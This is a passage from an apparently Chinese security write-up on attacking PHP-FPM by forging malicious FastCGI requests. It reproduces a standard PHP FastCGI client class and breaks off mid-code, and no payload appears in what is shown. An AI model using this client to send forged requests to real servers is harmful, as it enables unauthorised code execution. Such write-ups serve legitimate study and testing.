</span></span><span class="line"><span class="ln">5</span><span class="cl">    <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_put_contents</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="nv">$data</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h4 id="6伪造恶意fastcgi请求">6、伪造恶意FastCGI请求<a class="anchor" href="#6伪造恶意fastcgi请求">#</a></h4>
<p>网上亘古不变的伪造请求的代码，修改几个配置、路径就好</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">  1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl"><span class="sd">/**
</span></span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="sd"> * Note : Code is released under the GNU LGPL
</span></span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="sd"> *
</span></span></span><span class="line"><span class="ln">  5</span><span class="cl"><span class="sd"> * Please do not change the header of this file
</span></span></span><span class="line"><span class="ln">  6</span><span class="cl"><span class="sd"> *
</span></span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="sd"> * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
</span></span></span><span class="line"><span class="ln">  8</span><span class="cl"><span class="sd"> * Lesser General Public License as published by the Free Software Foundation; either version 2 of
</span></span></span><span class="line"><span class="ln">  9</span><span class="cl"><span class="sd"> * the License, or (at your option) any later version.
</span></span></span><span class="line"><span class="ln"> 10</span><span class="cl"><span class="sd"> *
</span></span></span><span class="line"><span class="ln"> 11</span><span class="cl"><span class="sd"> * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
</span></span></span><span class="line"><span class="ln"> 12</span><span class="cl"><span class="sd"> * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
</span></span></span><span class="line"><span class="ln"> 13</span><span class="cl"><span class="sd"> *
</span></span></span><span class="line"><span class="ln"> 14</span><span class="cl"><span class="sd"> * See the GNU Lesser General Public License for more details.
</span></span></span><span class="line"><span class="ln"> 15</span><span class="cl"><span class="sd"> */</span>
</span></span><span class="line"><span class="ln"> 16</span><span class="cl"><span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 17</span><span class="cl"><span class="sd"> * Handles communication with a FastCGI application
</span></span></span><span class="line"><span class="ln"> 18</span><span class="cl"><span class="sd"> *
</span></span></span><span class="line"><span class="ln"> 19</span><span class="cl"><span class="sd"> * @author      Pierrick Charron &lt;pierrick@webstart.fr&gt;
</span></span></span><span class="line"><span class="ln"> 20</span><span class="cl"><span class="sd"> * @version     1.0
</span></span></span><span class="line"><span class="ln"> 21</span><span class="cl"><span class="sd"> */</span>
</span></span><span class="line"><span class="ln"> 22</span><span class="cl"><span class="k">class</span> <span class="nc">FCGIClient</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">    <span class="k">const</span> <span class="no">VERSION_1</span>            <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">    <span class="k">const</span> <span class="no">BEGIN_REQUEST</span>        <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">    <span class="k">const</span> <span class="no">ABORT_REQUEST</span>        <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">    <span class="k">const</span> <span class="no">END_REQUEST</span>          <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">    <span class="k">const</span> <span class="no">PARAMS</span>               <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 29</span><span class="cl">    <span class="k">const</span> <span class="no">STDIN</span>                <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 30</span><span class="cl">    <span class="k">const</span> <span class="no">STDOUT</span>               <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">    <span class="k">const</span> <span class="no">STDERR</span>               <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">    <span class="k">const</span> <span class="no">DATA</span>                 <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">    <span class="k">const</span> <span class="no">GET_VALUES</span>           <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">    <span class="k">const</span> <span class="no">GET_VALUES_RESULT</span>    <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">    <span class="k">const</span> <span class="no">UNKNOWN_TYPE</span>         <span class="o">=</span> <span class="mi">11</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">    <span class="k">const</span> <span class="no">MAXTYPE</span>              <span class="o">=</span> <span class="nx">self</span><span class="o">::</span><span class="na">UNKNOWN_TYPE</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">    <span class="k">const</span> <span class="no">RESPONDER</span>            <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">    <span class="k">const</span> <span class="no">AUTHORIZER</span>           <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">    <span class="k">const</span> <span class="no">FILTER</span>               <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">    <span class="k">const</span> <span class="no">REQUEST_COMPLETE</span>     <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">    <span class="k">const</span> <span class="no">CANT_MPX_CONN</span>        <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">    <span class="k">const</span> <span class="no">OVERLOADED</span>           <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">    <span class="k">const</span> <span class="no">UNKNOWN_ROLE</span>         <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">    <span class="k">const</span> <span class="no">MAX_CONNS</span>            <span class="o">=</span> <span class="s1">&#39;MAX_CONNS&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 45</span><span class="cl">    <span class="k">const</span> <span class="no">MAX_REQS</span>             <span class="o">=</span> <span class="s1">&#39;MAX_REQS&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">    <span class="k">const</span> <span class="no">MPXS_CONNS</span>           <span class="o">=</span> <span class="s1">&#39;MPXS_CONNS&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">    <span class="k">const</span> <span class="no">HEADER_LEN</span>           <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 49</span><span class="cl"><span class="sd">     * Socket
</span></span></span><span class="line"><span class="ln"> 50</span><span class="cl"><span class="sd">     * @var Resource
</span></span></span><span class="line"><span class="ln"> 51</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">    <span class="k">private</span> <span class="nv">$_sock</span> <span class="o">=</span> <span class="k">null</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 54</span><span class="cl"><span class="sd">     * Host
</span></span></span><span class="line"><span class="ln"> 55</span><span class="cl"><span class="sd">     * @var String
</span></span></span><span class="line"><span class="ln"> 56</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">    <span class="k">private</span> <span class="nv">$_host</span> <span class="o">=</span> <span class="k">null</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 59</span><span class="cl"><span class="sd">     * Port
</span></span></span><span class="line"><span class="ln"> 60</span><span class="cl"><span class="sd">     * @var Integer
</span></span></span><span class="line"><span class="ln"> 61</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">    <span class="k">private</span> <span class="nv">$_port</span> <span class="o">=</span> <span class="k">null</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 64</span><span class="cl"><span class="sd">     * Keep Alive
</span></span></span><span class="line"><span class="ln"> 65</span><span class="cl"><span class="sd">     * @var Boolean
</span></span></span><span class="line"><span class="ln"> 66</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">    <span class="k">private</span> <span class="nv">$_keepAlive</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 69</span><span class="cl"><span class="sd">     * Constructor
</span></span></span><span class="line"><span class="ln"> 70</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln"> 71</span><span class="cl"><span class="sd">     * @param String $host Host of the FastCGI application
</span></span></span><span class="line"><span class="ln"> 72</span><span class="cl"><span class="sd">     * @param Integer $port Port of the FastCGI application
</span></span></span><span class="line"><span class="ln"> 73</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$host</span><span class="p">,</span> <span class="nv">$port</span> <span class="o">=</span> <span class="mi">9001</span><span class="p">)</span> <span class="c1">// and default value for port, just for unixdomain socket
</span></span></span><span class="line"><span class="ln"> 75</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_host</span> <span class="o">=</span> <span class="nv">$host</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_port</span> <span class="o">=</span> <span class="nv">$port</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 80</span><span class="cl"><span class="sd">     * Define whether or not the FastCGI application should keep the connection
</span></span></span><span class="line"><span class="ln"> 81</span><span class="cl"><span class="sd">     * alive at the end of a request
</span></span></span><span class="line"><span class="ln"> 82</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln"> 83</span><span class="cl"><span class="sd">     * @param Boolean $b true if the connection should stay alive, false otherwise
</span></span></span><span class="line"><span class="ln"> 84</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">setKeepAlive</span><span class="p">(</span><span class="nv">$b</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_keepAlive</span> <span class="o">=</span> <span class="p">(</span><span class="nx">boolean</span><span class="p">)</span><span class="nv">$b</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 88</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_keepAlive</span> <span class="o">&amp;&amp;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">            <span class="nx">fclose</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 93</span><span class="cl"><span class="sd">     * Get the keep alive status
</span></span></span><span class="line"><span class="ln"> 94</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln"> 95</span><span class="cl"><span class="sd">     * @return Boolean true if the connection should stay alive, false otherwise
</span></span></span><span class="line"><span class="ln"> 96</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">getKeepAlive</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">        <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_keepAlive</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">102</span><span class="cl"><span class="sd">     * Create a connection to the FastCGI application
</span></span></span><span class="line"><span class="ln">103</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">    <span class="k">private</span> <span class="k">function</span> <span class="nf">connect</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">106</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">            <span class="c1">//$this-&gt;_sock = fsockopen($this-&gt;_host, $this-&gt;_port, $errno, $errstr, 5);
</span></span></span><span class="line"><span class="ln">108</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span> <span class="o">=</span> <span class="nx">stream_socket_client</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_host</span><span class="p">,</span> <span class="nv">$errno</span><span class="p">,</span> <span class="nv">$errstr</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">110</span><span class="cl">                <span class="k">throw</span> <span class="k">new</span> <span class="nx">Exception</span><span class="p">(</span><span class="s1">&#39;Unable to connect to FastCGI application&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">111</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">112</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">115</span><span class="cl"><span class="sd">     * Build a FastCGI packet
</span></span></span><span class="line"><span class="ln">116</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">117</span><span class="cl"><span class="sd">     * @param Integer $type Type of the packet
</span></span></span><span class="line"><span class="ln">118</span><span class="cl"><span class="sd">     * @param String $content Content of the packet
</span></span></span><span class="line"><span class="ln">119</span><span class="cl"><span class="sd">     * @param Integer $requestId RequestId
</span></span></span><span class="line"><span class="ln">120</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">121</span><span class="cl">    <span class="k">private</span> <span class="k">function</span> <span class="nf">buildPacket</span><span class="p">(</span><span class="nv">$type</span><span class="p">,</span> <span class="nv">$content</span><span class="p">,</span> <span class="nv">$requestId</span> <span class="o">=</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">123</span><span class="cl">        <span class="nv">$clen</span> <span class="o">=</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$content</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">        <span class="k">return</span> <span class="nx">chr</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">VERSION_1</span><span class="p">)</span>         <span class="cm">/* version */</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$type</span><span class="p">)</span>                    <span class="cm">/* type */</span>
</span></span><span class="line"><span class="ln">126</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$requestId</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="cm">/* requestIdB1 */</span>
</span></span><span class="line"><span class="ln">127</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$requestId</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span>        <span class="cm">/* requestIdB0 */</span>
</span></span><span class="line"><span class="ln">128</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$clen</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span> <span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span>     <span class="cm">/* contentLengthB1 */</span>
</span></span><span class="line"><span class="ln">129</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$clen</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span>             <span class="cm">/* contentLengthB0 */</span>
</span></span><span class="line"><span class="ln">130</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>                        <span class="cm">/* paddingLength */</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>                        <span class="cm">/* reserved */</span>
</span></span><span class="line"><span class="ln">132</span><span class="cl">            <span class="o">.</span> <span class="nv">$content</span><span class="p">;</span>                     <span class="cm">/* content */</span>
</span></span><span class="line"><span class="ln">133</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">134</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">135</span><span class="cl"><span class="sd">     * Build an FastCGI Name value pair
</span></span></span><span class="line"><span class="ln">136</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">137</span><span class="cl"><span class="sd">     * @param String $name Name
</span></span></span><span class="line"><span class="ln">138</span><span class="cl"><span class="sd">     * @param String $value Value
</span></span></span><span class="line"><span class="ln">139</span><span class="cl"><span class="sd">     * @return String FastCGI Name value pair
</span></span></span><span class="line"><span class="ln">140</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">141</span><span class="cl">    <span class="k">private</span> <span class="k">function</span> <span class="nf">buildNvpair</span><span class="p">(</span><span class="nv">$name</span><span class="p">,</span> <span class="nv">$value</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">142</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">143</span><span class="cl">        <span class="nv">$nlen</span> <span class="o">=</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$name</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">144</span><span class="cl">        <span class="nv">$vlen</span> <span class="o">=</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$value</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">145</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$nlen</span> <span class="o">&lt;</span> <span class="mi">128</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">146</span><span class="cl">            <span class="cm">/* nameLengthB0 */</span>
</span></span><span class="line"><span class="ln">147</span><span class="cl">            <span class="nv">$nvpair</span> <span class="o">=</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$nlen</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">148</span><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">149</span><span class="cl">            <span class="cm">/* nameLengthB3 &amp; nameLengthB2 &amp; nameLengthB1 &amp; nameLengthB0 */</span>
</span></span><span class="line"><span class="ln">150</span><span class="cl">            <span class="nv">$nvpair</span> <span class="o">=</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$nlen</span> <span class="o">&gt;&gt;</span> <span class="mi">24</span><span class="p">)</span> <span class="o">|</span> <span class="mh">0x80</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$nlen</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$nlen</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$nlen</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">151</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">152</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$vlen</span> <span class="o">&lt;</span> <span class="mi">128</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">153</span><span class="cl">            <span class="cm">/* valueLengthB0 */</span>
</span></span><span class="line"><span class="ln">154</span><span class="cl">            <span class="nv">$nvpair</span> <span class="o">.=</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$vlen</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">155</span><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">156</span><span class="cl">            <span class="cm">/* valueLengthB3 &amp; valueLengthB2 &amp; valueLengthB1 &amp; valueLengthB0 */</span>
</span></span><span class="line"><span class="ln">157</span><span class="cl">            <span class="nv">$nvpair</span> <span class="o">.=</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$vlen</span> <span class="o">&gt;&gt;</span> <span class="mi">24</span><span class="p">)</span> <span class="o">|</span> <span class="mh">0x80</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$vlen</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$vlen</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$vlen</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">158</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">159</span><span class="cl">        <span class="cm">/* nameData &amp; valueData */</span>
</span></span><span class="line"><span class="ln">160</span><span class="cl">        <span class="k">return</span> <span class="nv">$nvpair</span> <span class="o">.</span> <span class="nv">$name</span> <span class="o">.</span> <span class="nv">$value</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">161</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">162</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">163</span><span class="cl"><span class="sd">     * Read a set of FastCGI Name value pairs
</span></span></span><span class="line"><span class="ln">164</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">165</span><span class="cl"><span class="sd">     * @param String $data Data containing the set of FastCGI NVPair
</span></span></span><span class="line"><span class="ln">166</span><span class="cl"><span class="sd">     * @return array of NVPair
</span></span></span><span class="line"><span class="ln">167</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">168</span><span class="cl">    <span class="k">private</span> <span class="k">function</span> <span class="nf">readNvpair</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="nv">$length</span> <span class="o">=</span> <span class="k">null</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">169</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">170</span><span class="cl">        <span class="nv">$array</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">171</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$length</span> <span class="o">===</span> <span class="k">null</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">172</span><span class="cl">            <span class="nv">$length</span> <span class="o">=</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">173</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">174</span><span class="cl">        <span class="nv">$p</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">175</span><span class="cl">        <span class="k">while</span> <span class="p">(</span><span class="nv">$p</span> <span class="o">!=</span> <span class="nv">$length</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">176</span><span class="cl">            <span class="nv">$nlen</span> <span class="o">=</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">177</span><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nv">$nlen</span> <span class="o">&gt;=</span> <span class="mi">128</span><span class="p">)</span> <span class="p">{</span>
